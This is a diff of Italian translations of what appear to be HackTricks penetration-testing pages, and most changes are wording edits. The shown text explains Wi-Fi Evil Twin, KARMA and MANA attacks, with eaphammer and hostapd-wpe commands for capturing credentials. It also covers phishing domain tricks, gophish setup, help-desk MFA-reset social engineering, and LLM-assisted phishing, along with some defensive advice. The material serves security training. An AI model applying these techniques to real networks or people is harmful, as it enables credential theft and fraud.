- Questo metodo supporta token hardware e password monouso all'interno di EAP-PEAP. A differenza di MSCHAPv2, non utilizza una sfida tra pari e invia le password in chiaro al punto di accesso, ponendo un rischio per attacchi di downgrade.
|
||||
2. **EAP-MD5 (Message Digest 5)**:
|
||||
- Comporta l'invio dell'hash MD5 della password dal client. **Non è raccomandato** a causa della vulnerabilità agli attacchi di dizionario, della mancanza di autenticazione del server e dell'incapacità di generare chiavi WEP specifiche per la sessione.
|
||||
3. **EAP-TLS (Transport Layer Security)**:
|
||||
@ -369,24 +369,24 @@ Puoi trovare ulteriori informazioni su questi metodi di autenticazione [qui](htt
|
||||
|
||||
### Cattura Nome Utente
|
||||
|
||||
Leggendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) sembra che se stai usando **EAP** i **messaggi "Identità"** devono essere **supportati**, e il **nome utente** verrà inviato in **chiaro** nei messaggi di **"Risposta Identità"**.
|
||||
Leggendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) sembra che se stai usando **EAP** i **messaggi "Identity"** devono essere **supportati**, e il **nome utente** verrà inviato in **chiaro** nei messaggi **"Response Identity"**.
|
||||
|
||||
Anche utilizzando uno dei metodi di autenticazione più sicuri: **PEAP-EAP-TLS**, è possibile **catturare il nome utente inviato nel protocollo EAP**. Per farlo, **cattura una comunicazione di autenticazione** (avvia `airodump-ng` all'interno di un canale e `wireshark` nella stessa interfaccia) e filtra i pacchetti per `eapol`.\
|
||||
All'interno del pacchetto "**Risposta, Identità**", apparirà il **nome utente** del client.
|
||||
All'interno del pacchetto "**Response, Identity**", apparirà il **nome utente** del client.
|
||||
|
||||
.png>)
|
||||
|
||||
### Identità Anonime
|
||||
|
||||
Il nascondimento dell'identità è supportato sia da EAP-PEAP che da EAP-TTLS. Nel contesto di una rete WiFi, una richiesta di EAP-Identità è tipicamente avviata dal punto di accesso (AP) durante il processo di associazione. Per garantire la protezione dell'anonimato dell'utente, la risposta del client EAP sul dispositivo dell'utente contiene solo le informazioni essenziali necessarie affinché il server RADIUS iniziale elabori la richiesta. Questo concetto è illustrato attraverso i seguenti scenari:
|
||||
Il nascondimento dell'identità è supportato sia da EAP-PEAP che da EAP-TTLS. Nel contesto di una rete WiFi, una richiesta di EAP-Identity è tipicamente avviata dal punto di accesso (AP) durante il processo di associazione. Per garantire la protezione dell'anonimato dell'utente, la risposta del client EAP sul dispositivo dell'utente contiene solo le informazioni essenziali necessarie affinché il server RADIUS iniziale elabori la richiesta. Questo concetto è illustrato attraverso i seguenti scenari:
|
||||
|
||||
- EAP-Identità = anonimo
|
||||
- In questo scenario, tutti gli utenti utilizzano il pseudonimo "anonimo" come identificatore utente. Il server RADIUS iniziale funge da server EAP-PEAP o EAP-TTLS, responsabile della gestione del lato server del protocollo PEAP o TTLS. Il metodo di autenticazione interno (protetto) viene quindi gestito localmente o delegato a un server RADIUS remoto (domicilio).
|
||||
- EAP-Identità = anonimo@realm_x
|
||||
- In questa situazione, gli utenti di diversi domini nascondono le loro identità mentre indicano i rispettivi domini. Questo consente al server RADIUS iniziale di proxy le richieste EAP-PEAP o EAP-TTLS ai server RADIUS nei loro domini di origine, che fungono da server PEAP o TTLS. Il server RADIUS iniziale opera esclusivamente come nodo di relay RADIUS.
|
||||
- EAP-Identity = anonimo
|
||||
- In questo scenario, tutti gli utenti utilizzano il pseudonimo "anonimo" come identificatore utente. Il server RADIUS iniziale funge da server EAP-PEAP o EAP-TTLS, responsabile della gestione del lato server del protocollo PEAP o TTLS. Il metodo di autenticazione interno (protetto) viene quindi gestito localmente o delegato a un server RADIUS remoto (domestico).
|
||||
- EAP-Identity = anonimo@realm_x
|
||||
- In questa situazione, gli utenti di diversi domini nascondono le loro identità mentre indicano i rispettivi domini. Questo consente al server RADIUS iniziale di inoltrare le richieste EAP-PEAP o EAP-TTLS ai server RADIUS nei loro domini domestici, che fungono da server PEAP o TTLS. Il server RADIUS iniziale opera esclusivamente come nodo di relay RADIUS.
|
||||
- In alternativa, il server RADIUS iniziale può funzionare come server EAP-PEAP o EAP-TTLS e gestire il metodo di autenticazione protetto o inoltrarlo a un altro server. Questa opzione facilita la configurazione di politiche distinte per vari domini.
|
||||
|
||||
In EAP-PEAP, una volta stabilito il tunnel TLS tra il server PEAP e il client PEAP, il server PEAP avvia una richiesta di EAP-Identità e la trasmette attraverso il tunnel TLS. Il client risponde a questa seconda richiesta di EAP-Identità inviando una risposta di EAP-Identità contenente la vera identità dell'utente attraverso il tunnel crittografato. Questo approccio previene efficacemente la rivelazione della vera identità dell'utente a chiunque stia ascoltando il traffico 802.11.
|
||||
In EAP-PEAP, una volta stabilito il tunnel TLS tra il server PEAP e il client PEAP, il server PEAP avvia una richiesta EAP-Identity e la trasmette attraverso il tunnel TLS. Il client risponde a questa seconda richiesta EAP-Identity inviando una risposta EAP-Identity contenente la vera identità dell'utente attraverso il tunnel crittografato. Questo approccio previene efficacemente la rivelazione della vera identità dell'utente a chiunque stia ascoltando il traffico 802.11.
|
||||
|
||||
EAP-TTLS segue una procedura leggermente diversa. Con EAP-TTLS, il client tipicamente si autentica utilizzando PAP o CHAP, protetti dal tunnel TLS. In questo caso, il client include un attributo User-Name e un attributo Password o CHAP-Password nel messaggio TLS iniziale inviato dopo l'instaurazione del tunnel.
|
||||
|
||||
@ -519,13 +519,13 @@ Oppure usando Airgeddon: `Options: 5,6,7,8,9 (all'interno del menu attacco Evil
|
||||
|
||||
.png>)
|
||||
|
||||
Si prega di notare che per impostazione predefinita, se un ESSID nel PNL è salvato come protetto da WPA, il dispositivo non si connetterà automaticamente a un Evil Twin aperto. Puoi provare a DoS il vero AP e sperare che l'utente si connetta manualmente al tuo Evil Twin aperto, oppure potresti DoS il vero AP e usare un WPA Evil Twin per catturare il handshake (utilizzando questo metodo non sarai in grado di far connettere la vittima a te poiché non conosci il PSK, ma puoi catturare l'handshake e provare a decifrarlo).
|
||||
Si prega di notare che per impostazione predefinita, se un ESSID nel PNL è salvato come protetto da WPA, il dispositivo non si connetterà automaticamente a un Evil Twin aperto. Puoi provare a DoS l'AP reale e sperare che l'utente si connetta manualmente al tuo Evil Twin aperto, oppure puoi DoS l'AP reale e utilizzare un WPA Evil Twin per catturare il handshake (utilizzando questo metodo non sarai in grado di far connettere la vittima a te poiché non conosci il PSK, ma puoi catturare l'handshake e provare a decifrarlo).
|
||||
|
||||
_Alcuni OS e AV avviseranno l'utente che connettersi a una rete aperta è pericoloso..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
Puoi creare un **Evil Twin usando WPA/2** e se i dispositivi sono configurati per connettersi a quel SSID con WPA/2, cercheranno di connettersi. Comunque, **per completare il 4-way-handshake** devi anche **conoscere** la **password** che il client utilizzerà. Se **non la conosci**, la **connessione non sarà completata**.
|
||||
Puoi creare un **Evil Twin utilizzando WPA/2** e se i dispositivi sono configurati per connettersi a quel SSID con WPA/2, cercheranno di connettersi. Comunque, **per completare il 4-way-handshake** devi anche **conoscere** la **password** che il client utilizzerà. Se **non la conosci**, la **connessione non sarà completata**.
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
@ -542,7 +542,7 @@ hostapd-wpe ./victim/victim.conf -s
|
||||
```
|
||||
Nel file di configurazione puoi selezionare molte cose diverse come ssid, canale, file utente, cret/key, parametri dh, versione wpa e auth...
|
||||
|
||||
[**Utilizzando hostapd-wpe con EAP-TLS per consentire a qualsiasi certificato di accedere.**](evil-twin-eap-tls.md)
|
||||
[**Utilizzando hostapd-wpe con EAP-TLS per consentire a qualsiasi certificato di effettuare il login.**](evil-twin-eap-tls.md)
|
||||
|
||||
**Utilizzando EAPHammer**
|
||||
```bash
|
||||
@ -556,7 +556,7 @@ Per impostazione predefinita, EAPHammer propone questi metodi di autenticazione
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
Questa è la metodologia predefinita per evitare lunghi tempi di connessione. Tuttavia, puoi anche specificare di servire i metodi di autenticazione dal più debole al più forte:
|
||||
Questa è la metodologia predefinita per evitare tempi di connessione lunghi. Tuttavia, puoi anche specificare al server i metodi di autenticazione dal più debole al più forte:
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
@ -584,7 +584,7 @@ Ora avvia il **Evil Twin** utilizzando **`hostapd-wpe`** con quella configurazio
|
||||
|
||||
Ora o più tardi (quando hai già catturato alcune intenzioni di autenticazione) puoi aggiungere la chiave RSA privata a wireshark in: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
Aggiungi una nuova voce e compila il modulo con questi valori: **Indirizzo IP = qualsiasi** -- **Porta = 0** -- **Protocollo = data** -- **File Chiave** (**seleziona il tuo file chiave**, per evitare problemi seleziona un file chiave **senza protezione da password**).
|
||||
Aggiungi una nuova voce e compila il modulo con questi valori: **Indirizzo IP = qualsiasi** -- **Porta = 0** -- **Protocollo = data** -- **File chiave** (**seleziona il tuo file chiave**, per evitare problemi seleziona un file chiave **senza protezione da password**).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -596,14 +596,14 @@ E guarda il nuovo **"tab Decrypted TLS"**:
|
||||
|
||||
### Liste nere/rosse di ESSID e MAC
|
||||
|
||||
Diversi tipi di Liste di Filtri di Controllo degli Accessi ai Media (MFACLs) e i loro corrispondenti modi ed effetti sul comportamento di un Access Point (AP) fraudolento:
|
||||
Diversi tipi di Liste di Filtri di Controllo degli Accessi ai Media (MFACL) e i loro corrispondenti modi ed effetti sul comportamento di un Access Point (AP) fraudolento:
|
||||
|
||||
1. **Whitelist basata su MAC**:
|
||||
- L'AP fraudolento risponderà solo alle richieste di probe da dispositivi specificati nella whitelist, rimanendo invisibile a tutti gli altri non elencati.
|
||||
2. **Blacklist basata su MAC**:
|
||||
- L'AP fraudolento ignorerà le richieste di probe da dispositivi sulla blacklist, rendendo effettivamente l'AP fraudolento invisibile a quei dispositivi specifici.
|
||||
3. **Whitelist basata su SSID**:
|
||||
- L'AP fraudolento risponderà alle richieste di probe solo per specifici ESSID elencati, rendendolo invisibile ai dispositivi le cui Liste di Rete Preferite (PNL) non contengono quegli ESSID.
|
||||
- L'AP fraudolento risponderà alle richieste di probe solo per specifici ESSID elencati, rendendolo invisibile ai dispositivi la cui Lista di Reti Preferite (PNL) non contiene quegli ESSID.
|
||||
4. **Blacklist basata su SSID**:
|
||||
- L'AP fraudolento non risponderà alle richieste di probe per gli specifici ESSID sulla blacklist, rendendolo invisibile ai dispositivi che cercano quelle reti particolari.
|
||||
```bash
|
||||
@ -627,27 +627,27 @@ name3
|
||||
```
|
||||
### KARMA
|
||||
|
||||
Questo metodo consente a un **attaccante di creare un punto di accesso (AP) malevolo che risponde a tutte le richieste di probe** da parte dei dispositivi che cercano di connettersi a reti. Questa tecnica **inganna i dispositivi facendoli connettere all'AP dell'attaccante** mimando le reti che i dispositivi stanno cercando. Una volta che un dispositivo invia una richiesta di connessione a questo AP non autorizzato, completa la connessione, portando il dispositivo a connettersi erroneamente alla rete dell'attaccante.
|
||||
Questo metodo consente a un **attaccante di creare un punto di accesso (AP) malevolo che risponde a tutte le richieste di probe** da parte dei dispositivi che cercano di connettersi a reti. Questa tecnica **inganna i dispositivi facendoli connettere all'AP dell'attaccante** mimando le reti che i dispositivi stanno cercando. Una volta che un dispositivo invia una richiesta di connessione a questo AP malevolo, completa la connessione, portando il dispositivo a connettersi erroneamente alla rete dell'attaccante.
|
||||
|
||||
### MANA
|
||||
|
||||
Poi, **i dispositivi hanno iniziato a ignorare le risposte di rete non solide**, riducendo l'efficacia dell'attacco karma originale. Tuttavia, un nuovo metodo, noto come **attacco MANA**, è stato introdotto da Ian de Villiers e Dominic White. Questo metodo prevede che l'AP non autorizzato **catturi le Liste di Rete Preferite (PNL) dai dispositivi rispondendo alle loro richieste di probe broadcast** con nomi di rete (SSID) precedentemente solidi dai dispositivi. Questo attacco sofisticato elude le protezioni contro l'attacco karma originale sfruttando il modo in cui i dispositivi ricordano e danno priorità alle reti conosciute.
|
||||
Poi, **i dispositivi hanno iniziato a ignorare le risposte di rete non solide**, riducendo l'efficacia dell'attacco karma originale. Tuttavia, un nuovo metodo, noto come **attacco MANA**, è stato introdotto da Ian de Villiers e Dominic White. Questo metodo prevede che l'AP malevolo **catturi le Liste di Rete Preferite (PNL) dai dispositivi rispondendo alle loro richieste di probe broadcast** con nomi di rete (SSID) precedentemente solidi dai dispositivi. Questo attacco sofisticato elude le protezioni contro l'attacco karma originale sfruttando il modo in cui i dispositivi ricordano e danno priorità alle reti conosciute.
|
||||
|
||||
L'attacco MANA opera monitorando sia le richieste di probe dirette che quelle broadcast dai dispositivi. Per le richieste dirette, registra l'indirizzo MAC del dispositivo e il nome della rete richiesta, aggiungendo queste informazioni a un elenco. Quando viene ricevuta una richiesta broadcast, l'AP risponde con informazioni che corrispondono a una delle reti nell'elenco del dispositivo, attirando il dispositivo a connettersi all'AP non autorizzato.
|
||||
L'attacco MANA opera monitorando sia le richieste di probe dirette che quelle broadcast dai dispositivi. Per le richieste dirette, registra l'indirizzo MAC del dispositivo e il nome della rete richiesta, aggiungendo queste informazioni a un elenco. Quando viene ricevuta una richiesta broadcast, l'AP risponde con informazioni che corrispondono a una delle reti nell'elenco del dispositivo, attirando il dispositivo a connettersi all'AP malevolo.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Loud MANA
|
||||
|
||||
Un **attacco Loud MANA** è una strategia avanzata per quando i dispositivi non utilizzano il probing diretto o quando le loro Liste di Rete Preferite (PNL) sono sconosciute all'attaccante. Funziona sul principio che **i dispositivi nella stessa area sono probabilmente inclini a condividere alcuni nomi di rete nelle loro PNL**. Invece di rispondere in modo selettivo, questo attacco trasmette risposte di probing per ogni nome di rete (ESSID) trovato nelle PNL combinate di tutti i dispositivi osservati. Questo approccio ampio aumenta la possibilità che un dispositivo riconosca una rete familiare e tenti di connettersi al Punto di Accesso (AP) malevolo.
|
||||
Un **attacco Loud MANA** è una strategia avanzata per quando i dispositivi non utilizzano il probing diretto o quando le loro Liste di Rete Preferite (PNL) sono sconosciute all'attaccante. Funziona sul principio che **i dispositivi nella stessa area sono probabilmente inclini a condividere alcuni nomi di rete nelle loro PNL**. Invece di rispondere in modo selettivo, questo attacco trasmette risposte ai probe per ogni nome di rete (ESSID) trovato nelle PNL combinate di tutti i dispositivi osservati. Questo approccio ampio aumenta la possibilità che un dispositivo riconosca una rete familiare e tenti di connettersi al Punto di Accesso (AP) malevolo.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Known Beacon attack
|
||||
|
||||
Quando l'**attacco Loud MANA** potrebbe non essere sufficiente, l'**attacco Known Beacon** presenta un altro approccio. Questo metodo **forza il processo di connessione simulando un AP che risponde a qualsiasi nome di rete, ciclando attraverso un elenco di potenziali ESSID** derivati da una wordlist. Questo simula la presenza di numerose reti, sperando di abbinare un ESSID all'interno del PNL della vittima, inducendo un tentativo di connessione all'AP fabbricato. L'attacco può essere amplificato combinandolo con l'opzione `--loud` per un tentativo più aggressivo di catturare i dispositivi.
|
||||
Quando l'**attacco Loud MANA** potrebbe non essere sufficiente, l'**attacco Known Beacon** presenta un altro approccio. Questo metodo **forza il processo di connessione simulando un AP che risponde a qualsiasi nome di rete, ciclano attraverso un elenco di potenziali ESSID** derivati da una wordlist. Questo simula la presenza di numerose reti, sperando di abbinare un ESSID all'interno del PNL della vittima, inducendo un tentativo di connessione all'AP fabbricato. L'attacco può essere amplificato combinandolo con l'opzione `--loud` per un tentativo più aggressivo di catturare i dispositivi.
|
||||
|
||||
Eaphammer ha implementato questo attacco come un attacco MANA in cui tutti gli ESSID all'interno di un elenco vengono caricati (puoi anche combinare questo con `--loud` per creare un attacco Loud MANA + Known beacons):
|
||||
Eaphammer ha implementato questo attacco come un attacco MANA in cui tutti gli ESSID all'interno di un elenco sono caricati (puoi anche combinare questo con `--loud` per creare un attacco Loud MANA + Known beacons):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
@ -664,7 +664,7 @@ L'**attacco Known Beacon Burst** comporta la **trasmissione rapida di frame beac
|
||||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
**Wi-Fi Direct** è un protocollo che consente ai dispositivi di collegarsi direttamente tra loro utilizzando Wi-Fi senza la necessità di un punto di accesso wireless tradizionale. Questa capacità è integrata in vari dispositivi Internet of Things (IoT), come stampanti e televisori, facilitando la comunicazione diretta tra dispositivi. Una caratteristica notevole di Wi-Fi Direct è che un dispositivo assume il ruolo di punto di accesso, noto come proprietario del gruppo, per gestire la connessione.
|
||||
**Wi-Fi Direct** è un protocollo che consente ai dispositivi di collegarsi direttamente tra loro utilizzando Wi-Fi senza la necessità di un tradizionale punto di accesso wireless. Questa capacità è integrata in vari dispositivi Internet of Things (IoT), come stampanti e televisori, facilitando la comunicazione diretta tra dispositivi. Una caratteristica notevole di Wi-Fi Direct è che un dispositivo assume il ruolo di punto di accesso, noto come proprietario del gruppo, per gestire la connessione.
|
||||
|
||||
La sicurezza per le connessioni Wi-Fi Direct è stabilita tramite **Wi-Fi Protected Setup (WPS)**, che supporta diversi metodi per il pairing sicuro, tra cui:
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
1. Riconoscere la vittima
|
||||
1. Selezionare il **dominio della vittima**.
|
||||
2. Eseguire alcune enumerazioni web di base **cercando portali di accesso** utilizzati dalla vittima e **decidere** quale impersonare.
|
||||
2. Eseguire alcune basi di enumerazione web **cercando portali di accesso** utilizzati dalla vittima e **decidere** quale impersonare.
|
||||
3. Utilizzare alcune **OSINT** per **trovare email**.
|
||||
2. Preparare l'ambiente
|
||||
1. **Acquistare il dominio** che si intende utilizzare per la valutazione di phishing
|
||||
@ -24,19 +24,19 @@
|
||||
- **Parola chiave**: Il nome di dominio **contiene** una **parola chiave** importante del dominio originale (es., zelster.com-management.com).
|
||||
- **sottodominio con trattino**: Cambiare il **punto con un trattino** di un sottodominio (es., www-zelster.com).
|
||||
- **Nuovo TLD**: Stesso dominio utilizzando un **nuovo TLD** (es., zelster.org)
|
||||
- **Omo-glyph**: **sostituisce** una lettera nel nome di dominio con **lettere che sembrano simili** (es., zelfser.com).
|
||||
- **Omoglif**: **sostituisce** una lettera nel nome di dominio con **lettere che sembrano simili** (es., zelfser.com).
|
||||
|
||||
{{#ref}}
|
||||
homograph-attacks.md
|
||||
{{#endref}}
|
||||
- **Trasposizione:** **scambia due lettere** all'interno del nome di dominio (es., zelsetr.com).
|
||||
- **Singolarizzazione/Plurale**: Aggiunge o rimuove “s” alla fine del nome di dominio (es., zeltsers.com).
|
||||
- **Singolarizzazione/Pluralizzazione**: Aggiunge o rimuove “s” alla fine del nome di dominio (es., zeltsers.com).
|
||||
- **Omissione**: **rimuove una** delle lettere dal nome di dominio (es., zelser.com).
|
||||
- **Ripetizione:** **ripete una** delle lettere nel nome di dominio (es., zeltsser.com).
|
||||
- **Sostituzione**: Come l'omo-glyph ma meno furtivo. Sostituisce una delle lettere nel nome di dominio, forse con una lettera vicina alla lettera originale sulla tastiera (es., zektser.com).
|
||||
- **Sottodominio**: Introduce un **punto** all'interno del nome di dominio (es., ze.lster.com).
|
||||
- **Sostituzione**: Come omoglif ma meno furtivo. Sostituisce una delle lettere nel nome di dominio, forse con una lettera vicina alla lettera originale sulla tastiera (es., zektser.com).
|
||||
- **Sottodominato**: Introduce un **punto** all'interno del nome di dominio (es., ze.lster.com).
|
||||
- **Inserimento**: **inserisce una lettera** nel nome di dominio (es., zerltser.com).
|
||||
- **Punto mancante**: Aggiunge il TLD al nome di dominio. (es., zelstercom.com)
|
||||
- **Punto mancante**: Aggiungere il TLD al nome di dominio. (es., zelstercom.com)
|
||||
|
||||
**Strumenti Automatici**
|
||||
|
||||
@ -57,14 +57,14 @@ Quando questo concetto è **applicato alle richieste DNS**, è possibile che il
|
||||
|
||||
Ad esempio, una singola modifica di bit nel dominio "windows.com" può cambiarlo in "windnws.com."
|
||||
|
||||
Gli attaccanti possono **sfruttare questo registrando più domini con bit-flipping** che sono simili al dominio della vittima. La loro intenzione è reindirizzare gli utenti legittimi alla propria infrastruttura.
|
||||
Gli attaccanti possono **sfruttare questo registrando più domini di bit-flipping** simili a quello della vittima. La loro intenzione è reindirizzare gli utenti legittimi alla propria infrastruttura.
|
||||
|
||||
Per ulteriori informazioni leggi [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
### Acquistare un dominio affidabile
|
||||
|
||||
Puoi cercare in [https://www.expireddomains.net/](https://www.expireddomains.net) un dominio scaduto che potresti utilizzare.\
|
||||
Per assicurarti che il dominio scaduto che intendi acquistare **abbia già un buon SEO**, puoi cercare come è categorizzato in:
|
||||
Per assicurarti che il dominio scaduto che stai per acquistare **abbia già un buon SEO**, puoi cercare come è categorizzato in:
|
||||
|
||||
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
||||
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
||||
@ -138,7 +138,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
|
||||
**Configurazione di Gophish**
|
||||
|
||||
Ferma l'esecuzione di gophish e configuriamolo.\
|
||||
Modifica `/opt/gophish/config.json` come segue (nota l'uso di https):
|
||||
Modifica `/opt/gophish/config.json` nel seguente modo (nota l'uso di https):
|
||||
```bash
|
||||
{
|
||||
"admin_server": {
|
||||
@ -165,7 +165,7 @@ Modifica `/opt/gophish/config.json` come segue (nota l'uso di https):
|
||||
```
|
||||
**Configura il servizio gophish**
|
||||
|
||||
Per creare il servizio gophish in modo che possa essere avviato automaticamente e gestito come un servizio, puoi creare il file `/etc/init.d/gophish` con il seguente contenuto:
|
||||
Per creare il servizio gophish in modo che possa essere avviato automaticamente e gestito come servizio, puoi creare il file `/etc/init.d/gophish` con il seguente contenuto:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# /etc/init.d/gophish
|
||||
@ -275,7 +275,7 @@ Basta accedere alla pagina e inviare un'email all'indirizzo che ti forniscono:
|
||||
```bash
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||
```
|
||||
Puoi anche **controllare la tua configurazione email** inviando un'email a `check-auth@verifier.port25.com` e **leggendo la risposta** (per questo dovrai **aprire** la porta **25** e vedere la risposta nel file _/var/mail/root_ se invii l'email come root).\
|
||||
Puoi anche **controllare la configurazione della tua email** inviando un'email a `check-auth@verifier.port25.com` e **leggendo la risposta** (per questo dovrai **aprire** la porta **25** e vedere la risposta nel file _/var/mail/root_ se invii l'email come root).\
|
||||
Controlla di superare tutti i test:
|
||||
```bash
|
||||
==========================================================
|
||||
@ -343,12 +343,12 @@ Nota che **per aumentare la credibilità dell'email**, è consigliato utilizzare
|
||||
|
||||
- Invia un'email a un **indirizzo inesistente** e controlla se la risposta ha qualche firma.
|
||||
- Cerca **email pubbliche** come info@ex.com o press@ex.com o public@ex.com e invia loro un'email e aspetta la risposta.
|
||||
- Prova a contattare **qualche email valida scoperta** e aspetta la risposta.
|
||||
- Prova a contattare **alcune email valide scoperte** e aspetta la risposta.
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> Il Modello di Email consente anche di **allegare file da inviare**. Se desideri anche rubare le sfide NTLM utilizzando alcuni file/documenti appositamente creati [leggi questa pagina](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
> Il modello di email consente anche di **allegare file da inviare**. Se desideri anche rubare le sfide NTLM utilizzando alcuni file/documenti appositamente creati [leggi questa pagina](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
|
||||
### Landing Page
|
||||
|
||||
@ -396,7 +396,7 @@ clone-a-website.md
|
||||
|
||||
## Documenti & File Backdoor
|
||||
|
||||
In alcune valutazioni di phishing (principalmente per Red Teams) vorrai anche **inviare file contenenti qualche tipo di backdoor** (magari un C2 o magari solo qualcosa che attivi un'autenticazione).\
|
||||
In alcune valutazioni di phishing (principalmente per Red Teams) vorrai anche **inviare file contenenti qualche tipo di backdoor** (magari un C2 o semplicemente qualcosa che attivi un'autenticazione).\
|
||||
Controlla la seguente pagina per alcuni esempi:
|
||||
|
||||
{{#ref}}
|
||||
@ -442,15 +442,15 @@ Usa [**Phishious** ](https://github.com/Rices/Phishious) per valutare se la tua
|
||||
|
||||
I moderni set di intrusione saltano sempre più spesso le esche email e **mirano direttamente al servizio di assistenza / flusso di recupero identità** per sconfiggere il MFA. L'attacco è completamente "living-off-the-land": una volta che l'operatore possiede credenziali valide, si sposta con strumenti di amministrazione integrati – non è necessario alcun malware.
|
||||
|
||||
### Flusso dell'attacco
|
||||
### Flusso di attacco
|
||||
1. Ricognizione della vittima
|
||||
* Raccogli dettagli personali e aziendali da LinkedIn, violazioni di dati, GitHub pubblici, ecc.
|
||||
* Identifica identità di alto valore (dirigenti, IT, finanza) ed enumera il **processo esatto del help-desk** per il reset della password / MFA.
|
||||
* Identifica identità di alto valore (dirigenti, IT, finanza) ed enumera il **processo esatto di help-desk** per il reset della password / MFA.
|
||||
2. Ingegneria sociale in tempo reale
|
||||
* Chiama, Teams o chatta con il help-desk impersonando il target (spesso con **ID chiamante falsificato** o **voce clonata**).
|
||||
* Chiama, usa Teams o chatta con l'assistenza mentre impersoni il bersaglio (spesso con **ID chiamante falsificato** o **voce clonata**).
|
||||
* Fornisci le PII raccolte in precedenza per superare la verifica basata sulla conoscenza.
|
||||
* Convincere l'agente a **reimpostare il segreto MFA** o eseguire uno **scambio SIM** su un numero di cellulare registrato.
|
||||
3. Azioni immediate post-accesso (≤60 min nei casi reali)
|
||||
* Convincere l'agente a **resettare il segreto MFA** o eseguire uno **scambio SIM** su un numero di cellulare registrato.
|
||||
3. Azioni immediate post-accesso (≤60 min in casi reali)
|
||||
* Stabilire una base attraverso qualsiasi portale SSO web.
|
||||
* Enumerare AD / AzureAD con strumenti integrati (nessun binario scaricato):
|
||||
```powershell
|
||||
@ -463,15 +463,15 @@ Get-MgDirectoryRole | ft DisplayName,Id
|
||||
# Enumera i dispositivi a cui l'account può accedere
|
||||
Get-MgUserRegisteredDevice -UserId <user@corp.local>
|
||||
```
|
||||
* Movimento laterale con **WMI**, **PsExec**, o legittimi agenti **RMM** già autorizzati nell'ambiente.
|
||||
* Movimento laterale con **WMI**, **PsExec**, o legittimi **agenti RMM** già autorizzati nell'ambiente.
|
||||
|
||||
### Rilevamento & Mitigazione
|
||||
* Tratta il recupero dell'identità del help-desk come un'**operazione privilegiata** – richiedi autenticazione avanzata e approvazione del manager.
|
||||
* Tratta il recupero dell'identità dell'assistenza come un'**operazione privilegiata** – richiedi autenticazione avanzata e approvazione del manager.
|
||||
* Implementa regole di **Identity Threat Detection & Response (ITDR)** / **UEBA** che avvisano su:
|
||||
* Metodo MFA cambiato + autenticazione da nuovo dispositivo / geo.
|
||||
* Elevazione immediata dello stesso principale (utente-→-admin).
|
||||
* Registra le chiamate del help-desk e imposta un **richiamo a un numero già registrato** prima di qualsiasi reset.
|
||||
* Implementa **Just-In-Time (JIT) / Accesso Privilegiato** in modo che gli account appena reimpostati non **ereditino automaticamente** token ad alto privilegio.
|
||||
* Registra le chiamate all'assistenza e imposta un **richiamo a un numero già registrato** prima di qualsiasi reset.
|
||||
* Implementa **Just-In-Time (JIT) / Accesso Privilegiato** in modo che gli account appena resettati non **ereditino automaticamente** token ad alto privilegio.
|
||||
|
||||
---
|
||||
|
||||
@ -489,7 +489,7 @@ Le squadre di commodity compensano il costo delle operazioni ad alto contatto co
|
||||
* componente di persistenza (chiave di esecuzione del registro + attività pianificata)
|
||||
|
||||
### Suggerimenti per il rafforzamento
|
||||
* Blocca i domini appena registrati e applica **Advanced DNS / URL Filtering** su *search-ads* così come su email.
|
||||
* Blocca i domini appena registrati e applica **Advanced DNS / URL Filtering** su *annunci di ricerca* così come su email.
|
||||
* Limita l'installazione del software a pacchetti MSI / Store firmati, nega l'esecuzione di `HTA`, `ISO`, `VBS` per policy.
|
||||
* Monitora i processi figli dei browser che aprono installer:
|
||||
```yaml
|
||||
@ -500,24 +500,24 @@ and child_image: *\\*.exe
|
||||
|
||||
---
|
||||
|
||||
## Operazioni di Phishing Potenziate dall'AI
|
||||
Gli attaccanti ora concatenano **LLM & voice-clone APIs** per esche completamente personalizzate e interazione in tempo reale.
|
||||
## Operazioni di Phishing Potenziate dall'IA
|
||||
Gli attaccanti ora concatenano **LLM & API di clonazione vocale** per esche completamente personalizzate e interazione in tempo reale.
|
||||
|
||||
| Livello | Esempio di utilizzo da parte dell'attore di minaccia |
|
||||
|-------|-----------------------------|
|
||||
|Automazione|Genera e invia >100 k email / SMS con formulazioni randomizzate e link di tracciamento.|
|
||||
|AI Generativa|Produce email *uniche* che fanno riferimento a M&A pubblici, battute interne dai social media; voce CEO deep-fake in una truffa di richiamo.|
|
||||
|AI Generativa|Produce email *uniche* che fanno riferimento a M&A pubblici, battute interne dai social media; voce del CEO deep-fake in una truffa di richiamo.|
|
||||
